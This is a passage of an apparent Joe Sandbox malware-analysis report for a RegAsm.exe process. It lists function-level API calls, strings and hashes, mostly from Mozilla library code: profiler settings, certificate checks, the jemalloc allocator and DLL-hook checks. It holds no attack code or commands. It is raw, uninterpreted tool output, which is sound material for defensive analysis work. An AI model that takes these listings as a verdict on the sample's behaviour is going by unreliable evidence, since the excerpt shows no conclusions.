Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004188D0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction ID: 18df4f3d1847af864b4cf5612dd8d404a1e3ff34582bf4e0d6244d1823b45961
Opcode Fuzzy Hash: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction Fuzzy Hash: B301FBB491420CEBCB14CF98D585BEC7BB5EF04308F248089D9456B350C7785F84DB4A

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410599,?,?), ref: 004098D8

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6CA25440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA25492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA254BE
__Init_thread_footer.LIBCMT ref: 6CA254DB

Part of subcall function 6CA4AB3F: EnterCriticalSection.KERNEL32(6CA9E370,?,?,6CA13527,6CA9F6CC,?,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB49
Part of subcall function 6CA4AB3F: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA13527,6CA9F6CC,?,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4AB7C

Part of subcall function 6CA4CBE8: GetCurrentProcess.KERNEL32(?,6CA131A7), ref: 6CA4CBF1
Part of subcall function 6CA4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA131A7), ref: 6CA4CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA25516
GetCurrentThreadId.KERNEL32 ref: 6CA2556A
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA25577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA25585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA25590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA255E6
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA25606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA25616

Part of subcall function 6CA4AB89: EnterCriticalSection.KERNEL32(6CA9E370,?,?,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB94
Part of subcall function 6CA4AB89: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA2563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA25646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA2567C
free.MOZGLUE(?), ref: 6CA256AE

Part of subcall function 6CA35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA35EDB
Part of subcall function 6CA35E90: memset.VCRUNTIME140(6CA77765,000000E5,55CCCCCC), ref: 6CA35F27
Part of subcall function 6CA35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA35FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA256E8
GetCurrentThreadId.KERNEL32 ref: 6CA25707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA2570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA25729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA2574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA2576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA25796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA257CA

Strings

[I %d/%d] profiler_init, xrefs: 6CA2564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA2584E
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA254B9
GeckoMain, xrefs: 6CA25554, 6CA255D5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA25D1C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA25766
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA25749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA25AC9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA25CF9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA25717
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA25791
MOZ_BASE_PROFILER_HELP, xrefs: 6CA25511
MOZ_PROFILER_STARTUP, xrefs: 6CA255E1
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA25D24
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA2548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA25D01
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA25C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA25B38
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA254A3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA25D2B
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA25724
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA257C5
Q^, xrefs: 6CA257BC
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA257AE
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA25BBE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA256E3

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Q^$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2639675677
Opcode ID: c2814e2d5357bfaf1ed1b8b7a918ce0066abd38bee346dfc1ea66105a5e20949
Instruction ID: b0e44a2013ce50c720e6cf0cbea504bee1b1ad0b44641e8c69915e92e4666200
Opcode Fuzzy Hash: c2814e2d5357bfaf1ed1b8b7a918ce0066abd38bee346dfc1ea66105a5e20949
Instruction Fuzzy Hash: 6F2236B49143119FDB009F74850A66A77F5BF4630CF4C8A29F94A87A45EB38C8DACB53

Function 6CA26C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA26CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA26D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA26D26

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA26D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA26D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA26D73
free.MOZGLUE(00000000), ref: 6CA26D80
CertGetNameStringW.CRYPT32 ref: 6CA26DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA26DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA26DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA26DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA26E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA26E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA26E34
CreateFileW.KERNEL32 ref: 6CA26EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA26F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA26F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA2709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA27103
free.MOZGLUE(00000000), ref: 6CA27153
CloseHandle.KERNEL32(?), ref: 6CA27176
__Init_thread_footer.LIBCMT ref: 6CA27209
__Init_thread_footer.LIBCMT ref: 6CA2723A
__Init_thread_footer.LIBCMT ref: 6CA2726B
__Init_thread_footer.LIBCMT ref: 6CA2729C
__Init_thread_footer.LIBCMT ref: 6CA272DC
__Init_thread_footer.LIBCMT ref: 6CA2730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA273C2
VerSetConditionMask.NTDLL ref: 6CA273F3
VerSetConditionMask.NTDLL ref: 6CA273FF
VerSetConditionMask.NTDLL ref: 6CA27406
VerSetConditionMask.NTDLL ref: 6CA2740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA2741A
moz_xmalloc.MOZGLUE(?), ref: 6CA2755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA27568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA27585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA27598
free.MOZGLUE(00000000), ref: 6CA275AC

Part of subcall function 6CA4AB89: EnterCriticalSection.KERNEL32(6CA9E370,?,?,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB94
Part of subcall function 6CA4AB89: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4ABD1

Strings

SHA256, xrefs: 6CA26EC0
(, xrefs: 6CA2768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CA272C8
wintrust.dll, xrefs: 6CA272CD

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: d50f0990e68af458553e23033c30206fd34c869e43ac904b89a1bd9ad290b4a7
Instruction ID: 8a9a8e2420ea536c5eb4c56c078c71f59baf665307d3e34a4e4d43ba39d5bc31
Opcode Fuzzy Hash: d50f0990e68af458553e23033c30206fd34c869e43ac904b89a1bd9ad290b4a7
Instruction Fuzzy Hash: 6552D371A103259BEB259F24CC89BAA77B9FF45308F188199E909E7640DB34AFC5CF50

Function 6CA50DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA50F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA50F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA50FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA50FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA51031
LeaveCriticalSection.KERNEL32(?), ref: 6CA510D0
EnterCriticalSection.KERNEL32(?), ref: 6CA5117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA51C39
EnterCriticalSection.KERNEL32(6CA9E744), ref: 6CA53391
LeaveCriticalSection.KERNEL32(6CA9E744), ref: 6CA533CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA53431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA53437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA53559, 6CA5382D, 6CA53848
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA53A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA537BD
MOZ_CRASH(), xrefs: 6CA53950
MALLOC_OPTIONS, xrefs: 6CA535FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA537A8
<jemalloc>, xrefs: 6CA53941, 6CA539F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA53793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA537D2
Compile-time page size does not divide the runtime one., xrefs: 6CA53946

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: c40f1a42fdf9e93f0845f3ae80678c89a7e2cfa35be9f56c33eeb8b449680d63
Instruction ID: fc3d3f35ab4a888a7aab1ff244e694f9c4ef693d235fa2b4747d05f79e63b04e
Opcode Fuzzy Hash: c40f1a42fdf9e93f0845f3ae80678c89a7e2cfa35be9f56c33eeb8b449680d63
Instruction Fuzzy Hash: CD537B71A067018FC708CF29C540626BBE1BFC5328F69C76DE8A99B791D771E891CB81

Function 6CA734A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA73EE2

Part of subcall function 6CA76180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CA761DD
Part of subcall function 6CA76180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CA7622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA74157

Part of subcall function 6CA76180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA76250
Part of subcall function 6CA76180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA76292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA74448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA7484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA74863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA74878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA74896
free.MOZGLUE ref: 6CA7489F

Strings

, xrefs: 6CA74CD2

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 44ec0d13f3aa398bfa1f183a6fc5273d08b70821250a2bfe8424607bc9d7a0ac
Instruction ID: 9d7cd8b4c6aa52fa3d7a9cf6872a2c1651040479d6705f4b8459f1d0a7909aec
Opcode Fuzzy Hash: 44ec0d13f3aa398bfa1f183a6fc5273d08b70821250a2bfe8424607bc9d7a0ac
Instruction Fuzzy Hash: D4F24974909B818FC735CF28C08469AFBF1FF8A318F158A5ED99997711DB319886CB42

Function 6CA264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA26505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA26518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA2652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA2671C
GetCurrentProcess.KERNEL32 ref: 6CA26724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA2672F
GetCurrentProcess.KERNEL32 ref: 6CA26759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA26764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA26A80
GetSystemInfo.KERNEL32(?), ref: 6CA26ABE
__Init_thread_footer.LIBCMT ref: 6CA26AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA26AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA26AF7

Strings

detoured.dll, xrefs: 6CA264DA
nvdxgiwrap.dll, xrefs: 6CA26513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA26798
user32.dll, xrefs: 6CA26526
nvd3d9wrap.dll, xrefs: 6CA26500
_etoured.dll, xrefs: 6CA264ED

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 958666dcaa2227ad0e72f538b398ac0e87823152f9f9a58eccaa0350441f66cc
Instruction ID: 233c33f40b44edce8699201694f509d9aee9b345bfd8a75fc4590a4b35b434fa
Opcode Fuzzy Hash: 958666dcaa2227ad0e72f538b398ac0e87823152f9f9a58eccaa0350441f66cc
